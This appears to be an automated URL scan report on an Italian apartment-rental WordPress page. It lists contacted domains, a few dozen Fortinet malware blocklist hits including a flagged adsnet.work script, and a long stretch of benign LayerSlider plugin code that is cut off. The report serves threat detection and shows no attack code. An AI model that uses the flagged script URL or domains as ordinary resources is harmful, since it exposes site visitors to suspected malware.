Overview

URLwww.ilportoappartamenti.com/info-offerte
IP 89.46.108.76 (Italy)
ASN#31034 Aruba S.p.A.
UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer
Report completed2022-11-28 16:48:32 UTC
StatusLoading report..
IDS alerts0
Blocklist alert32
urlquery alerts No alerts detected
Tags None

Domain Summary (20)

Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
content-signature-2.cdn.mozilla.net (1) 1152 No data No data 34.160.144.191
x.translateth.is (2) 0 2015-02-07 20:47:13 UTC 2022-11-28 13:01:58 UTC 151.101.65.195 Unknown ranking
ocsp.pki.goog (5) 175 2018-07-01 06:43:07 UTC 2020-05-02 20:58:16 UTC 142.250.74.3
maps.googleapis.com (1) 33876 2019-10-17 15:56:16 UTC 2022-11-28 06:23:52 UTC 142.250.74.138
fonts.googleapis.com (1) 8877 2013-06-10 20:14:26 UTC 2022-11-28 05:48:59 UTC 142.250.74.10
fonts.gstatic.com (1) 0 2014-09-09 00:40:21 UTC 2022-11-28 05:49:11 UTC 216.58.207.195 Domain (gstatic.com) ranked at: 540
www.google-analytics.com (3) 40 2012-10-03 01:04:21 UTC 2022-11-28 06:20:04 UTC 142.250.74.174
adsnet.work (1) 0 2015-06-06 16:23:15 UTC 2022-11-24 17:16:06 UTC 193.3.19.36 Unknown ranking
r3.o.lencr.org (7) 344 No data No data 23.36.76.226
ocsp.digicert.com (2) 86 2012-05-21 07:02:23 UTC 2020-05-02 20:58:10 UTC 93.184.220.29
contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-11-28 05:46:10 UTC 34.117.237.239
maps.google.com (3) 1899 2016-05-21 18:40:38 UTC 2022-11-28 06:12:53 UTC 216.58.211.14
img-getpocket.cdn.mozilla.net (7) 1631 2018-06-21 23:36:00 UTC 2020-02-19 04:43:25 UTC 34.120.237.76
1.gravatar.com (2) 7167 2012-05-22 14:13:03 UTC 2022-11-28 07:02:49 UTC 192.0.73.2
stats.g.doubleclick.net (1) 96 2013-06-10 20:21:11 UTC 2022-11-28 05:50:48 UTC 142.251.1.157
firefox.settings.services.mozilla.com (2) 867 2020-06-04 20:08:41 UTC 2022-11-28 05:55:58 UTC 34.102.187.140
www.ilportoappartamenti.com (63) 0 2017-02-26 08:07:00 UTC 2022-11-22 17:20:32 UTC 89.46.108.76 Unknown ranking
push.services.mozilla.com (1) 2140 2014-10-24 08:27:06 UTC 2020-05-03 10:09:39 UTC 52.89.136.7
aff.bstatic.com (2) 25253 2012-07-20 15:05:43 UTC 2020-10-20 12:10:00 UTC 54.230.111.114
hydrahydra.kim (1) 0 2021-10-19 18:50:29 UTC 2022-11-27 12:41:55 UTC 193.3.19.36 Unknown ranking

Network Intrusion Detection Systemsinfo

Suricata /w Emerging Threats Pro
 No alerts detected

Blocklists

OpenPhish
 No alerts detected

PhishTank
 No alerts detected

Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-11-28 2 www.ilportoappartamenti.com/info-offerte Malware
2022-11-28 2 www.ilportoappartamenti.com/info-offerte/ Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/plugins/cookie-notice/css/front.min. (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/plugins/fancybox-for-wordpress/fancy (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/skeleton.css?ver=1.1 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/thickbox/thickbox.css?ver=20121105 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/jquery.fancybox-1. (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/validationEngine.j (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/colors/blue.css?ver=1.1 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/comment-reply.min.js?ver=3.5.2 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/includes/addons/LayerS (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/ui.totop.css?ver=1.1 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/plugins/cookie-notice/js/front.min.j (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/includes/addons/LayerS (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/plugins/fancybox-for-wordpress/fancy (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/supersubs.js?v (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.hoverIn (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/superfish.js?v (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.easing. (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.cycle.l (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.flexsli (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/jquery/ui/jquery.ui.widget.min.j (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.validat (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/jquery/ui/jquery.ui.button.min.j (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/ui.spinner.min (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-includes/js/jquery/ui/jquery.ui.accordion.mi (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/lamoon.js?ver=1.1 Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery.validat (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/themes/Lamoon/scripts/jquery-migrate (...) Malware
2022-11-28 2 www.ilportoappartamenti.com/wp-content/plugins/pricing-table/js/site/jquery (...) Malware
2022-11-28 2 adsnet.work/scripts/placer.js Malware

mnemonic secure dns
 No alerts detected

Quad9 DNS
 No alerts detected


Files

No files detected

Recent reports on same IP/ASN/Domain/Screenshot

Last 1 reports on IP: 89.46.108.76
Date UQ / IDS / BL URL IP
2022-11-28 16:48:32 +0000 0 - 0 - 32 www.ilportoappartamenti.com/info-offerte 89.46.108.76


Last 5 reports on ASN: Aruba S.p.A.
Date UQ / IDS / BL URL IP
2023-02-06 09:50:17 +0000 0 - 0 - 29 hotelritariccione.it/wp-content/plugins/formc (...) 80.88.87.5
2023-02-06 04:25:07 +0000 0 - 1 - 0 fvenrico.rosebarni.net/ 185.56.9.188
2023-02-06 00:14:22 +0000 0 - 1 - 0 lb2.serverplus.cloud/ 80.211.133.232
2023-02-05 17:14:13 +0000 0 - 1 - 0 lb2.serverplus.cloud/ 80.211.133.232
2023-02-05 12:57:53 +0000 5 - 0 - 5 www.mcs-italia-servizi.it/FEDEX/auth/billing.php 89.46.105.39


Last 1 reports on domain: ilportoappartamenti.com
Date UQ / IDS / BL URL IP
2022-11-28 16:48:32 +0000 0 - 0 - 32 www.ilportoappartamenti.com/info-offerte 89.46.108.76


No other reports with similar screenshot

JavaScript

Executed Scripts (44)

Executed Evals (4)
#1 JavaScript::Eval (size: 69266) - SHA256: 968e260e53f385d4b32e072722d036b2418b9635172968443268626f004ea140
function lsShowNotice(e, t, n) {
    if (typeof e == "string") {
        var r = jQuery("#" + e)
    } else if (typeof e == "object") {
        var r = e
    }
    var i, s;
    switch (t) {
        case "jquery":
            i = "multiple jQuery issue";
            s = "It looks like that one of your other plugins or your theme itself loads an extra copy of the jQuery library which causes a Javascript conflict and LayerSlider WP can't load your slider. <strong>Please navigate on your WordPress admin area to edit this slider and enable the \"Put JS includes to body\" option in the Global Settings under the Troubleshooting section.</strong><br><br>If this doesn't solve your problem, please try to disable every other plugin one-by-one to find out which one causes this issue. If you have found the corresponding plugin, please contact with the plugin author to solve this case. If none of your plugins causes this problem, it must be your theme and you should contact with the author of the theme. Ask help from them to remove any duplicates of the jQuery library.<br><br>If there is no one to help you, please write a comment in the comments section of the item on CodeCanyon.";
            break;
        case "oldjquery":
            i = "old jQuery issue";
            s = "It looks like you are using an old version (" + n + ') of the jQuery library. LayerSlider requires at least version 1.7.0 or newer. If you are using the WordPress version of LayerSlider, you can try out the "jQuery Updater" plugin from the WP plugin depository. If you don\'t know what to do, you can write us a private message from our CodeCanyon profile page. We need a temporary WP admin account (or a temporary FTP account in some cases) to solve this issue.';
            break;
        case "transit":
            i = "jQuery Transit issue";
            s = 'It looks like one of your other plugins also uses jQuery Transit and loads an extra copy of this library which can cause issues. Please navigate on your WordPress admin area to edit this slider and enable the "Put JS includes to body" option in your Global Settings under the Troubleshooting section.';
            break
    }
    r.addClass("ls-error");
    r.append('<p class="ls-exclam">!</p>');
    r.append('<p class="ls-error-title">LayerSlider: ' + i + "</p>");
    r.append('<p class="ls-error-text">' + s + "</p>")
}(function(e) {
    e.fn.layerSlider = function(n) {
        var r = "1.7.0";
        var i = e.fn.jquery;
        var s = e(this);
        var o = function(e, t) {
            var n = e.split(".");
            var r = t.split(".");
            for (var i = 0; i < n.length; ++i) {
                if (r.length == i) {
                    return false
                }
                if (n[i] == r[i]) {
                    continue
                } else if (n[i] > r[i]) {
                    return false
                } else {
                    return true
                }
            }
            if (n.length != r.length) {
                return true
            }
            return true
        };
        if (!o("1.8.0", i)) {
            s.addClass("ls-norotate")
        }
        if (!o(r, i)) {
            lsShowNotice(s, "oldjquery", i)
        } else {
            if ((typeof n).match("object|undefined")) {
                return this.each(function(e) {
                    new t(this, n)
                })
            } else {
                if (n == "data") {
                    var u = e(this).data("LayerSlider").g;
                    if (u) {
                        return u
                    }
                } else {
                    return this.each(function(t) {
                        var r = e(this).data("LayerSlider");
                        if (r) {
                            if (!r.g.isAnimating && !r.g.isLoading) {
                                if (typeof n == "number") {
                                    if (n > 0 && n < r.g.layersNum + 1 && n != r.g.curLayerIndex) {
                                        r.change(n)
                                    }
                                } else {
                                    switch (n) {
                                        case "prev":
                                            r.o.cbPrev(r.g);
                                            r.prev("clicked");
                                            break;
                                        case "next":
                                            r.o.cbNext(r.g);
                                            r.next("clicked");
                                            break;
                                        case "start":
                                            if (!r.g.autoSlideshow) {
                                                r.o.cbStart(r.g);
                                                r.g.originalAutoSlideshow = true;
                                                r.start()
                                            }
                                            break
                                    }
                                }
                            }
                            if (n == "debug") {
                                r.d.show()
                            }
                            if ((r.g.autoSlideshow || !r.g.autoSlideshow && r.g.originalAutoSlideshow) && n == "stop") {
                                r.o.cbStop(r.g);
                                r.g.originalAutoSlideshow = false;
                                r.g.curLayer.find('iframe[src*="www.youtu"], iframe[src*="player.vimeo"]').each(function() {
                                    clearTimeout(e(this).data("videoTimer"))
                                });
                                r.stop()
                            }
                            if (n == "force stop") {
                                r.forcestop()
                            }
                        }
                    })
                }
            }
        }
    };
    var t = function(s, o) {
        var u = this;
        u.$el = e(s).addClass("ls-container");
        u.$el.data("LayerSlider", u);
        u.load = function() {
            u.o = e.extend({}, t.options, o);
            u.g = e.extend({}, t.global);
            u.g.enableCSS3 = e(s).hasClass("ls-norotate") ? false : true;
            if (typeof layerSliderTransitions != "undefined") {
                u.t = e.extend({}, layerSliderTransitions)
            }
            if (typeof layerSliderCustomTransitions != "undefined") {
                u.ct = e.extend({}, layerSliderCustomTransitions)
            }
            if (!u.g.initialized) {
                u.g.initialized = true;
                u.debug();
                if (e("html").find('meta[content*="WordPress"]').length) {
                    u.g.wpVersion = e("html").find('meta[content*="WordPress"]').attr("content").split("WordPress")[1]
                }
                if (e("html").find('script[src*="layerslider"]').length) {
                    if (e("html").find('script[src*="layerslider"]').attr("src").indexOf("?") != -1) {
                        u.g.lswpVersion = e("html").find('script[src*="layerslider"]').attr("src").split("?")[1].split("=")[1]
                    }
                }
                u.d.aT("LayerSlider controls");
                u.d.aU('<a href="#">prev</a> | <a href="#">next</a> | <a href="#">start</a> | <a href="#">stop</a> | <a href="#">force stop</a>');
                u.d.history.find("a").each(function() {
                    e(this).click(function(t) {
                        t.preventDefault();
                        e(s).layerSlider(e(this).text())
                    })
                });
                u.d.aT("LayerSlider version information");
                u.d.aU("JS version: <strong>" + u.g.version + "</strong>");
                if (u.g.lswpVersion) {
                    u.d.aL("WP version: <strong>" + u.g.lswpVersion + "</strong>")
                }
                if (u.g.wpVersion) {
                    u.d.aL("WordPress version: <strong>" + u.g.wpVersion + "</strong>")
                }
                u.d.aL("jQuery version: <strong>" + e().jquery + "</strong>");
                if (e(s).attr("id")) {
                    u.d.aT("LayerSlider container");
                    u.d.aU("#" + e(s).attr("id"))
                }
                if (!u.o.skin || u.o.skin == "" || !u.o.skinsPath || u.o.skinsPath == "") {
                    u.d.aT("Loading without skin. Possibilities: mistyped skin and / or skinsPath.");
                    u.init()
                } else {
                    u.d.aT("Trying to load with skin: " + u.o.skin, true);
                    e(s).addClass("ls-" + u.o.skin);
                    var n = u.o.skinsPath + u.o.skin + "/skin.css";
                    cssContainer = e("head");
                    if (!e("head").length) {
                        cssContainer = e("body")
                    }
                    if (e('link[href="' + n + '"]').length) {
                        u.d.aU('Skin "' + u.o.skin + '" is already loaded.');
                        r = e('link[href="' + n + '"]');
                        if (!u.g.loaded) {
                            u.g.loaded = true;
                            setTimeout(function() {
                                u.init()
                            }, 150)
                        }
                    } else {
                        if (document.createStyleSheet) {
                            document.createStyleSheet(n);
                            var r = e('link[href="' + n + '"]')
                        } else {
                            var r = e('<link rel="stylesheet" href="' + n + '" type="text/css" />').appendTo(cssContainer)
                        }
                    }
                    r.load(function() {
                        if (!u.g.loaded) {
                            u.d.aU("curSkin.load(); fired");
                            u.g.loaded = true;
                            setTimeout(function() {
                                u.init()
                            }, 150)
                        }
                    });
                    e(window).load(function() {
                        if (!u.g.loaded) {
                            u.d.aU("$(window).load(); fired");
                            u.g.loaded = true;
                            setTimeout(function() {
                                u.init()
                            }, 150)
                        }
                    });
                    setTimeout(function() {
                        if (!u.g.loaded) {
                            u.d.aT("Fallback mode: Neither curSkin.load(); or $(window).load(); were fired");
                            u.g.loaded = true;
                            u.init()
                        }
                    }, 1e3)
                }
            }
        };
        u.init = function() {
            if (!e("html").attr("id")) {
                e("html").attr("id", "ls-global")
            } else if (!e("body").attr("id")) {
                e("body").attr("id", "ls-global")
            }
            u.g.sliderWidth = function() {
                if (u.g.normalWidth && u.g.goingNormal) {
                    return u.g.normalWidth
                } else {
                    return e(s).width()
                }
            };
            u.g.sliderHeight = function() {
                if (u.g.normalHeight && u.g.goingNormal) {
                    return u.g.normalHeight
                } else {
                    return e(s).height()
                }
            };
            if (e(s).find(".ls-layer").length == 1) {
                u.o.autoStart = false;
                u.o.navPrevNext = false;
                u.o.navStartStop = false;
                u.o.navButtons = false;
                u.o.loops = 0;
                u.o.forceLoopNum = false;
                u.o.autoPauseSlideshow = true;
                u.o.firstLayer = 1;
                u.o.thumbnailNavigation = "disabled"
            }
            if (u.o.width) {
                u.g.sliderOriginalWidthRU = u.g.sliderOriginalWidth = "" + u.o.width
            } else {
                u.g.sliderOriginalWidthRU = u.g.sliderOriginalWidth = e(s)[0].style.width
            }
            if (u.o.height) {
                u.g.sliderOriginalHeight = "" + u.o.height
            } else {
                u.g.sliderOriginalHeight = e(s)[0].style.height
            }
            if (u.g.sliderOriginalWidth.indexOf("%") == -1 && u.g.sliderOriginalWidth.indexOf("px") == -1) {
                u.g.sliderOriginalWidth += "px"
            }
            if (u.g.sliderOriginalHeight.indexOf("%") == -1 && u.g.sliderOriginalHeight.indexOf("px") == -1) {
                u.g.sliderOriginalHeight += "px"
            }
            if (u.o.responsive && u.g.sliderOriginalWidth.indexOf("px") != -1 && u.g.sliderOriginalHeight.indexOf("px") != -1) {
                u.g.responsiveMode = true
            } else {
                u.g.responsiveMode = false
            }
            e(s).find('*[class*="ls-s"], *[class*="ls-bg"]').each(function() {
                if (!e(this).parent().hasClass("ls-layer")) {
                    e(this).insertBefore(e(this).parent())
                }
            });
            e(s).find(".ls-layer").each(function() {
                e(this).children(':not([class*="ls-"])').each(function() {
                    e(this).remove()
                })
            });
            e(s).find('.ls-layer, *[class*="ls-s"]').each(function() {
                if (e(this).attr("rel") || e(this).attr("style")) {
                    if (e(this).attr("rel")) {
                        var t = e(this).attr("rel").toLowerCase().split(";")
                    } else {
                        var t = e(this).attr("style").toLowerCase().split(";")
                    }
                    for (x = 0; x < t.length; x++) {
                        param = t[x].split(":");
                        if (param[0].indexOf("easing") != -1) {
                            param[1] = u.ieEasing(param[1])
                        }
                        var n = "";
                        if (param[2]) {
                            n = ":" + e.trim(param[2])
                        }
                        if (param[0] != " " && param[0] != "") {
                            e(this).data(e.trim(param[0]), e.trim(param[1]) + n)
                        }
                    }
                }
                var r = e(this);
                r.data("originalLeft", r[0].style.left);
                r.data("originalTop", r[0].style.top);
                if (e(this).is("a") && e(this).children().length > 0) {
                    r = e(this).children()
                }
                var i = r.width();
                var s = r.height();
                if (r[0].style.width && r[0].style.width.indexOf("%") != -1) {
                    i = r[0].style.width
                }
                if (r[0].style.height && r[0].style.height.indexOf("%") != -1) {
                    s = r[0].style.height
                }
                r.data("originalWidth", i);
                r.data("originalHeight", s);
                r.data("originalPaddingLeft", r.css("padding-left"));
                r.data("originalPaddingRight", r.css("padding-right"));
                r.data("originalPaddingTop", r.css("padding-top"));
                r.data("originalPaddingBottom", r.css("padding-bottom"));
                if (!u.g.ie78) {
                    var o = typeof parseFloat(r.css("opacity")) == "number" ? Math.round(parseFloat(r.css("opacity")) * 100) / 100 : 1;
                    e(this).data("originalOpacity", o)
                }
                if (r.css("border-left-width").indexOf("px") == -1) {
                    r.data("originalBorderLeft", r[0].style.borderLeftWidth)
                } else {
                    r.data("originalBorderLeft", r.css("border-left-width"))
                }
                if (r.css("border-right-width").indexOf("px") == -1) {
                    r.data("originalBorderRight", r[0].style.borderRightWidth)
                } else {
                    r.data("originalBorderRight", r.css("border-right-width"))
                }
                if (r.css("border-top-width").indexOf("px") == -1) {
                    r.data("originalBorderTop", r[0].style.borderTopWidth)
                } else {
                    r.data("originalBorderTop", r.css("border-top-width"))
                }
                if (r.css("border-bottom-width").indexOf("px") == -1) {
                    r.data("originalBorderBottom", r[0].style.borderBottomWidth)
                } else {
                    r.data("originalBorderBottom", r.css("border-bottom-width"))
                }
                r.data("originalFontSize", r.css("font-size"));
                r.data("originalLineHeight", r.css("line-height"))
            });
            if (document.location.hash) {
                for (var t = 0; t < e(s).find(".ls-layer").length; t++) {
                    if (e(s).find(".ls-layer").eq(t).data("deeplink") == document.location.hash.split("#")[1]) {
                        u.o.firstLayer = t + 1
                    }
                }
            }
            e(s).find('*[class*="ls-linkto-"]').each(function() {
                var t = e(this).attr("class").split(" ");
                for (var n = 0; n < t.length; n++) {
                    if (t[n].indexOf("ls-linkto-") != -1) {
                        var r = parseInt(t[n].split("ls-linkto-")[1]);
                        e(this).css({
                            cursor: "pointer"
                        }).click(function(t) {
                            t.preventDefault();
                            e(s).layerSlider(r)
                        })
                    }
                }
            });
            u.g.layersNum = e(s).find(".ls-layer").length;
            if (u.o.randomSlideshow && u.g.layersNum > 2) {
                u.o.firstLayer == "random";
                u.o.twoWaySlideshow = false
            } else {
                u.o.randomSlideshow = false
            }
            if (u.o.firstLayer == "random") {
                u.o.firstLayer = Math.floor(Math.random() * u.g.layersNum + 1)
            }
            u.o.firstLayer = u.o.firstLayer < u.g.layersNum + 1 ? u.o.firstLayer : 1;
            u.o.firstLayer = u.o.firstLayer < 1 ? 1 : u.o.firstLayer;
            u.g.nextLoop = 1;
            if (u.o.animateFirstLayer) {
                u.g.nextLoop = 0
            }
            var n = document.location.href.indexOf("file:") == -1 ? "" : "http:";
            e(s).find('iframe[src*="www.youtu"]').each(function() {
                e(this).parent().addClass("ls-video-layer");
                if (e(this).parent('[class*="ls-s"]')) {
                    var t = e(this);
                    e.getJSON(n + "//gdata.youtube.com/feeds/api/videos/" + e(this).attr("src").split("embed/")[1].split("?")[0] + "?v=2&alt=json&callback=?", function(e) {
                        t.data("videoDuration", parseInt(e["entry"]["media$group"]["yt$duration"]["seconds"]) * 1e3)
                    });
                    var r = e("<div>").addClass("ls-vpcontainer").appendTo(e(this).parent());
                    e("<img>").appendTo(r).addClass("ls-videopreview").attr("src", n + "//img.youtube.com/vi/" + e(this).attr("src").split("embed/")[1].split("?")[0] + "/" + u.o.youtubePreview);
                    e("<div>").appendTo(r).addClass("ls-playvideo");
                    e(this).parent().css({
                        width: e(this).width(),
                        height: e(this).height()
                    }).click(function() {
                        u.g.isAnimating = true;
                        if (u.g.paused) {
                            if (u.o.autoPauseSlideshow != false) {
                                u.g.paused = false
                            }
                            u.g.originalAutoSlideshow = true
                        } else {
                            u.g.originalAutoSlideshow = u.g.autoSlideshow
                        }
                        if (u.o.autoPauseSlideshow != false) {
                            u.stop()
                        }
                        u.g.pausedByVideo = true;
                        e(this).find("iframe").attr("src", e(this).find("iframe").data("videoSrc"));
                        e(this).find(".ls-vpcontainer").delay(u.g.v.d).fadeOut(u.g.v.fo, function() {
                            if (u.o.autoPauseSlideshow == "auto" && u.g.originalAutoSlideshow == true) {
                                var e = setTimeout(function() {
                                    u.start()
                                }, t.data("videoDuration") - u.g.v.d);
                                t.data("videoTimer", e)
                            }
                            u.g.isAnimating = false;
                            if (u.g.resize == true) {
                                u.makeResponsive(u.g.curLayer, function() {
                                    u.g.resize = false
                                })
                            }
                        })
                    });
                    var i = "&";
                    if (e(this).attr("src").indexOf("?") == -1) {
                        i = "?"
                    }
                    e(this).data("videoSrc", e(this).attr("src") + i + "autoplay=1");
                    e(this).data("originalWidth", e(this).attr("width"));
                    e(this).data("originalHeight", e(this).attr("height"));
                    e(this).attr("src", "")
                }
            });
            e(s).find('iframe[src*="player.vimeo"]').each(function() {
                e(this).parent().addClass("ls-video-layer");
                if (e(this).parent('[class*="ls-s"]')) {
                    var t = e(this);
                    var r = e("<div>").addClass("ls-vpcontainer").appendTo(e(this).parent());
                    e.getJSON(n + "//vimeo.com/api/v2/video/" + e(this).attr("src").split("video/")[1].split("?")[0] + ".json?callback=?", function(n) {
                        e("<img>").appendTo(r).addClass("ls-videopreview").attr("src", n[0]["thumbnail_large"]);
                        t.data("videoDuration", parseInt(n[0]["duration"]) * 1e3);
                        e("<div>").appendTo(r).addClass("ls-playvideo")
                    });
                    e(this).parent().css({
                        width: e(this).width(),
                        height: e(this).height()
                    }).click(function() {
                        u.g.isAnimating = true;
                        if (u.g.paused) {
                            if (u.o.autoPauseSlideshow != false) {
                                u.g.paused = false
                            }
                            u.g.originalAutoSlideshow = true
                        } else {
                            u.g.originalAutoSlideshow = u.g.autoSlideshow
                        }
                        if (u.o.autoPauseSlideshow != false) {
                            u.stop()
                        }
                        u.g.pausedByVideo = true;
                        e(this).find("iframe").attr("src", e(this).find("iframe").data("videoSrc"));
                        e(this).find(".ls-vpcontainer").delay(u.g.v.d).fadeOut(u.g.v.fo, function() {
                            if (u.o.autoPauseSlideshow == "auto" && u.g.originalAutoSlideshow == true) {
                                var e = setTimeout(function() {
                                    u.start()
                                }, t.data("videoDuration") - u.g.v.d);
                                t.data("videoTimer", e)
                            }
                            u.g.isAnimating = false;
                            if (u.g.resize == true) {
                                u.makeResponsive(u.g.curLayer, function() {
                                    u.g.resize = false
                                })
                            }
                        })
                    });
                    var i = "&";
                    if (e(this).attr("src").indexOf("?") == -1) {
                        i = "?"
                    }
                    e(this).data("videoSrc", e(this).attr("src") + i + "autoplay=1");
                    e(this).data("originalWidth", e(this).attr("width"));
                    e(this).data("originalHeight", e(this).attr("height"));
                    e(this).attr("src", "")
                }
            });
            if (u.o.animateFirstLayer) {
                u.o.firstLayer = u.o.firstLayer - 1 == 0 ? u.g.layersNum : u.o.firstLayer - 1
            }
            u.g.curLayerIndex = u.o.firstLayer;
            u.g.curLayer = e(s).find(".ls-layer:eq(" + (u.g.curLayerIndex - 1) + ")");
            e(s).find(".ls-layer").wrapAll('<div class="ls-inner"></div>');
            e("<div>").addClass("ls-webkit-hack").prependTo(e(s));
            if (u.o.showBarTimer) {
                u.g.barTimer = e("<div>").addClass("ls-bar-timer").appendTo(e(s).find(".ls-inner"))
            }
            if (u.o.showCircleTimer && !u.g.ie78) {
                u.g.circleTimer = e("<div>").addClass("ls-circle-timer").appendTo(e(s).find(".ls-inner"));
                u.g.circleTimer.append(e('<div class="ls-ct-left"><div class="ls-ct-rotate"><div class="ls-ct-hider"><div class="ls-ct-half"></div></div></div></div><div class="ls-ct-right"><div class="ls-ct-rotate"><div class="ls-ct-hider"><div class="ls-ct-half"></div></div></div></div><div class="ls-ct-center"></div>'))
            }
            u.g.li = e("<div>").css({
                zIndex: -1,
                display: "none"
            }).addClass("ls-loading-container").appendTo(e(s));
            e("<div>").addClass("ls-loading-indicator").appendTo(u.g.li);
            if (e(s).css("position") == "static") {
                e(s).css("position", "relative")
            }
            e(s).find(".ls-inner").css({
                backgroundColor: u.o.globalBGColor
            });
            if (u.o.globalBGImage) {
                e(s).find(".ls-inner").css({
                    backgroundImage: "url(" + u.o.globalBGImage + ")"
                })
            }
            if (u.g.responsiveMode && u.g.isMobile() != true && u.o.allowFullScreenMode && (typeof lsPrefixes(document, "FullScreen") != "undefined" || typeof lsPrefixes(document, "IsFullScreen") != "undefined")) {
                var r = e("<a>").css("display", "none").addClass("ls-fullscreen").click(function() {
                    u.goFullScreen()
                }).appendTo(e(s).find(".ls-inner"));
                e(s).hover(function() {
                    if (u.g.ie78) {
                        r.css({
                            display: "block"
                        })
                    } else {
                        r.stop(true, true).fadeIn(300)
                    }
                }, function() {
                    if (u.g.ie78) {
                        r.css({
                            display: "none"
                        })
                    } else {
                        r.stop(true, true).fadeOut(300)
                    }
                });
                document.addEventListener("fullscreenchange", function() {
                    if (!document.fullscreen) {
                        u.escFullScreen()
                    } else {}
                }, false);
                document.addEventListener("mozfullscreenchange", function() {
                    if (!document.mozFullScreen) {
                        u.escFullScreen()
                    } else {}
                }, false);
                document.addEventListener("webkitfullscreenchange", function() {
                    if (!document.webkitIsFullScreen) {
                        u.escFullScreen()
                    } else {}
                }, false)
            }
            if (u.o.navPrevNext) {
                e('<a class="ls-nav-prev" href="#" />').click(function(t) {
                    t.preventDefault();
                    e(s).layerSlider("prev")
                }).appendTo(e(s));
                e('<a class="ls-nav-next" href="#" />').click(function(t) {
                    t.preventDefault();
                    e(s).layerSlider("next")
                }).appendTo(e(s));
                if (u.o.hoverPrevNext) {
                    e(s).find(".ls-nav-prev, .ls-nav-next").css({
                        display: "none"
                    });
                    e(s).hover(function() {
                        if (!u.g.forceHideControls) {
                            if (u.g.ie78) {
                                e(s).find(".ls-nav-prev, .ls-nav-next").css("display", "block")
                            } else {
                                e(s).find(".ls-nav-prev, .ls-nav-next").stop(true, true).fadeIn(300)
                            }
                        }
                    }, function() {
                        if (u.g.ie78) {
                            e(s).find(".ls-nav-prev, .ls-nav-next").css("display", "none")
                        } else {
                            e(s).find(".ls-nav-prev, .ls-nav-next").stop(true, true).fadeOut(300)
                        }
                    })
                }
            }
            if (u.o.navStartStop || u.o.navButtons) {
                var i = e('<div class="ls-bottom-nav-wrapper" />').appendTo(e(s));
                u.g.bottomWrapper = i;
                if (u.o.thumbnailNavigation == "always") {
                    i.addClass("ls-above-thumbnails")
                }
                if (u.o.navButtons && u.o.thumbnailNavigation != "always") {
                    e('<span class="ls-bottom-slidebuttons" />').appendTo(e(s).find(".ls-bottom-nav-wrapper"));
                    if (u.o.thumbnailNavigation == "hover") {
                        var o = e('<div class="ls-thumbnail-hover"><div class="ls-thumbnail-hover-inner"><div class="ls-thumbnail-hover-bg"></div><div class="ls-thumbnail-hover-img"><img></div><span></span></div></div>').appendTo(e(s).find(".ls-bottom-slidebuttons"))
                    }
                    for (x = 1; x < u.g.layersNum + 1; x++) {
                        var a = e('<a href="#" />').appendTo(e(s).find(".ls-bottom-slidebuttons")).click(function(t) {
                            t.preventDefault();
                            e(s).layerSlider(e(this).index() + 1)
                        });
                        if (u.o.thumbnailNavigation == "hover") {
                            e(s).find(".ls-thumbnail-hover, .ls-thumbnail-hover-img").css({
                                width: u.o.tnWidth,
                                height: u.o.tnHeight
                            });
                            var f = e(s).find(".ls-thumbnail-hover");
                            var l = f.find("img").css({
                                height: u.o.tnHeight
                            });
                            var c = e(s).find(".ls-thumbnail-hover-inner").css({
                                visibility: "hidden",
                                display: "block"
                            });
                            a.hover(function() {
                                var t = e(s).find(".ls-layer").eq(e(this).index());
                                if (t.find(".ls-tn").length) {
                                    var n = t.find(".ls-tn").attr("src")
                                } else if (t.find(".ls-videopreview").length) {
                                    var n = t.find(".ls-videopreview").attr("src")
                                } else if (t.find(".ls-bg").length) {
                                    var n = t.find(".ls-bg").attr("src")
                                } else {
                                    var n = u.o.skinsPath + u.o.skin + "/nothumb.png"
                                }
                                e(s).find(".ls-thumbnail-hover-img").css({
                                    left: parseInt(f.css("padding-left")),
                                    top: parseInt(f.css("padding-top"))
                                });
                                l.load(function() {
                                    if (e(this).width() == 0) {
                                        l.css({
                                            position: "relative",
                                            margin: "0 auto",
                                            left: "auto"
                                        })
                                    } else {
                                        l.css({
                                            position: "absolute",
                                            marginLeft: -e(this).width() / 2,
                                            left: "50%"
                                        })
                                    }
                                }).attr("src", n);
                                f.css({
                                    display: "block"
                                }).stop().animate({
